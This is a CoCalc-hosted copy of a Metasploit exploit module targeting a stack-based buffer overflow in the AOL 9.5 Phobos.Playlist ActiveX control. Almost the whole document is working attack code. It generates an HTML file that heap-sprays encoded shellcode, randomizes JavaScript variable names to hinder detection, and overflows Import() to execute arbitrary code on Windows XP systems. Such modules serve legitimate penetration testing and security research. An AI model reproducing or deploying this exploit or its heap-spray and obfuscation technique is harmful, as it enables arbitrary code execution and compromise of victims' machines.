Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/aol_phobos_bof.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# aol_phobos_bof.rb
8
#
9
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
10
#
11
# Tested successfully on the following platforms:
12
# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
13
#
14
# Phobos.dll version tested:
15
# File Version: 9.5.0.1
16
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
17
# RegKey Safe for Script: False
18
# RegKey Safe for Init: False
19
# Implements IObjectSafety: False
20
# KillBitSet: False
21
#
22
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
23
# exploitation is possible only from Local Machine Zone, which means the victim must run the
24
# generated exploit file locally.
25
#
26
# Trancer
27
# http://www.rec-sec.com
28
##
29
30
class MetasploitModule < Msf::Exploit::Remote
31
Rank = AverageRanking
32
33
include Msf::Exploit::FILEFORMAT
34
35
def initialize(info = {})
36
super(
37
update_info(
38
info,
39
'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
40
'Description' => %q{
41
This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
42
By setting an overly long value to 'Import()', an attacker can overrun a buffer
43
and execute arbitrary code.
44
45
NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
46
},
47
'License' => MSF_LICENSE,
48
'Author' => [
49
'Trancer <mtrancer[at]gmail.com>'
50
],
51
'References' => [
52
[ 'OSVDB', '61964'],
53
[ 'EDB', '11204' ],
54
[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
55
],
56
'DefaultOptions' => {
57
'EXITFUNC' => 'process',
58
'DisablePayloadHandler' => true
59
},
60
'Payload' => {
61
'Space' => 1024,
62
'BadChars' => "\x00\x09\x0a\x0d'\\",
63
'StackAdjustment' => -3500,
64
},
65
'Platform' => 'win',
66
'Targets' => [
67
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
68
],
69
'DisclosureDate' => '2010-01-20',
70
'DefaultTarget' => 0,
71
'Notes' => {
72
'Reliability' => UNKNOWN_RELIABILITY,
73
'Stability' => UNKNOWN_STABILITY,
74
'SideEffects' => UNKNOWN_SIDE_EFFECTS
75
}
76
)
77
)
78
79
register_options(
80
[
81
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
82
]
83
)
84
end
85
86
def exploit
87
# Encode the shellcode
88
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
89
90
# Setup exploit buffers
91
nops = Rex::Text.to_unescape([target.ret].pack('V'))
92
ret = Rex::Text.uri_encode([target.ret].pack('L'))
93
blocksize = 0x40000
94
fillto = 500
95
offset = target['Offset']
96
97
# Randomize the javascript variable names
98
phobos = rand_text_alpha(rand(100) + 1)
99
j_shellcode = rand_text_alpha(rand(100) + 1)
100
j_nops = rand_text_alpha(rand(100) + 1)
101
j_ret = rand_text_alpha(rand(100) + 1)
102
j_headersize = rand_text_alpha(rand(100) + 1)
103
j_slackspace = rand_text_alpha(rand(100) + 1)
104
j_fillblock = rand_text_alpha(rand(100) + 1)
105
j_block = rand_text_alpha(rand(100) + 1)
106
j_memory = rand_text_alpha(rand(100) + 1)
107
j_counter = rand_text_alpha(rand(30) + 2)
108
j_bla = rand_text_alpha(rand(8) + 4)
109
110
html = %Q|<html>
111
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
112
<script>
113
#{j_shellcode}=unescape('#{shellcode}');
114
#{j_nops}=unescape('#{nops}');
115
#{j_headersize}=20;
116
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
117
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
118
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
119
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
120
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
121
#{j_memory}=new Array();
122
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
123
124
var #{j_ret}='';
125
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
126
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
127
</script>
128
</html>|
129
130
print_status("Creating '#{datastore['FILENAME']}' file ...")
131
132
file_create(html)
133
end
134
end
135
136